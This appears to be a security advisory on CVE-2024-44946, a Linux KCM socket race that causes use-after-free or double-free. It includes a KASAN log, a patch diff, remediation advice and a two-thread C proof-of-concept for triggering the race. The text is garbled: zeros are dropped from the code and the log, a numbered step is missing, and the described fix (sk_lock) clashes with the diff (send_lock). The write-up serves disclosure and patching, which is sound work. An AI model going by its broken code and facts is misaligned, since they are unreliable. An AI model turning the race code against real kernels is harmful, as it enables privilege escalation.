- Impact: Use-after-free/double-free, leading to potential kernel panic or escalation of privilege
- Fixed in: Linux 6.8+, see commit diff
Exploitability: Exploit is possible with careful thread timing, detailed here
- References: Syzkaller report, Patch
Background
kcm (Kernel Connection Multiplexor) is a Linux networking subsystem used for high-throughput application-level multiplexed sockets. It has an internal buffer handling model a bit different from traditional sockets, and this exposed a high-risk concurrency bug.
A race between two threads both using the same KCM socket could result in catastrophically freeing an in-use buffer (skb), which may later be reused elsewhere—or even double-freed.
Here’s what actually happens in this bug (before the fix in Linux 6.8)
1. Thread A starts building a buffer (skb) for sending data with the MSG_MORE flag, creating kcm->seq_skb.
Thread A tries to resume, but blocks (no memory!).
3. Thread B swoops in, also sends data on the same socket (sendmsg). It sees A's buffer, finishes it, and puts kcm->seq_skb in the write queue.
On socket close, KCM's cleanup (kcm_release()) tries to free that buffer again—double free.
This is visible in syzkaller's kernel logs as various KASAN "use-after-free" bugs targeting skbuff objects.
Kernel Log Example (Syzkaller)
BUG: KASAN: slab-use-after-free in kcm_release+x170/x4c8 net/kcm/kcmsock.c:1691
Read of size 8 at addr ffff000cedfc80 by task syz-executor329/6167
...
Call trace:
kcm_release+x170/x4c8 net/kcm/kcmsock.c:1691
__sock_release net/socket.c:659 [inline]
sock_close+xa4/x1e8 net/socket.c:1421
... (truncated)
The Fix
The developers added a per-socket mutex (sk->sk_lock) around the kcm_sendmsg() function. This ensures that only one thread can assemble buffers on the socket at any time, eliminating the race.
Main commit diff
diff --git a/net/kcm/kcmsock.c b/net/kcm/kcmsock.c
@@ -749,7 +749,9 @@ static int kcm_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
struct sock *sk = sock->sk;
struct kcm_sock *kcm = kcm_sk(sk);
int ret;
+ mutex_lock(&kcm->send_lock);
// critical buffer-building code goes here
...
+ mutex_unlock(&kcm->send_lock);
return ret;
}
See patch.
Orchestrating timing (one thread blocks, the other sends)
Here’s a simple proof-of-concept in C (pseudocode for clarity, actual working code would be more complex):
#include <pthread.h>
#include <sys/socket.h>
#include <linux/kcm.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
int kcm_fd;
// Thread A: starts buffer, blocks
void *thread_a_fn(void *unused) {
char data[4096];
struct msghdr msg = {};
struct iovec iov = {data, sizeof(data)};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
// MSG_MORE allows thread B to race
sendmsg(kcm_fd, &msg, MSG_MORE);
// Thread A blocks here on lack of memory (simulate with large send rate)
// On error, thread A will do something causing skb free...
// Simulate by closing or aborting here!
return NULL;
}
// Thread B: sends at the same time
void *thread_b_fn(void *unused) {
char data[4096];
struct msghdr msg = {};
struct iovec iov = {data, sizeof(data)};
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
sendmsg(kcm_fd, &msg, ); // finish buffer, enter write queue
// Now thread B causes the bug to manifest
return NULL;
}
int main(void) {
// Setup KCM socket, binds, attaches, etc.
kcm_fd = socket(AF_KCM, SOCK_SEQPACKET, );
if (kcm_fd < ) { perror("socket"); return 1; }
// attach underlay TCP socket here (required by KCM)
// ... dog-and-pony show omitted
pthread_t ta, tb;
pthread_create(&ta, NULL, thread_a_fn, NULL);
usleep(100); // Help force a race!
pthread_create(&tb, NULL, thread_b_fn, NULL);
pthread_join(ta, NULL);
pthread_join(tb, NULL);
close(kcm_fd);
return ;
}
NB: KCM sockets are privileged and require an associated TCP socket. See KCM documentation for use.
With proper timing, this can lead to use-after-free detections in KASAN, and in unprotected kernels, arbitrary code execution or kernel panic.
Real-World Risk
- Local privilege escalation: If an attacker has access to a KCM socket, they can potentially cause memory corruption. Exploitation is non-trivial but possible on servers or containers using KCM for high-throughput networking.
- Remote exploit? Remote exploitation is unlikely unless an application exposes KCM-based message passing to untrusted users.
## How to Fix / Protect
- Upgrade your kernel to at least Linux 6.8, or apply the official patch.
References & Further Reading
- Linux kernel commit fixing this issue
- Syzkaller bug report
- Patch discussion
- KCM documentation
Stay secure: Always serialize multi-threaded socket usage, or use socket types that are already thread-safe. Kernel concurrency bugs like CVE-2024-44946 are subtle, dangerous, and hard to detect without tools like syzkaller!
Timeline
Published on: 08/31/2024 14:15:04 UTC
Last modified on: 09/04/2024 12:15:05 UTC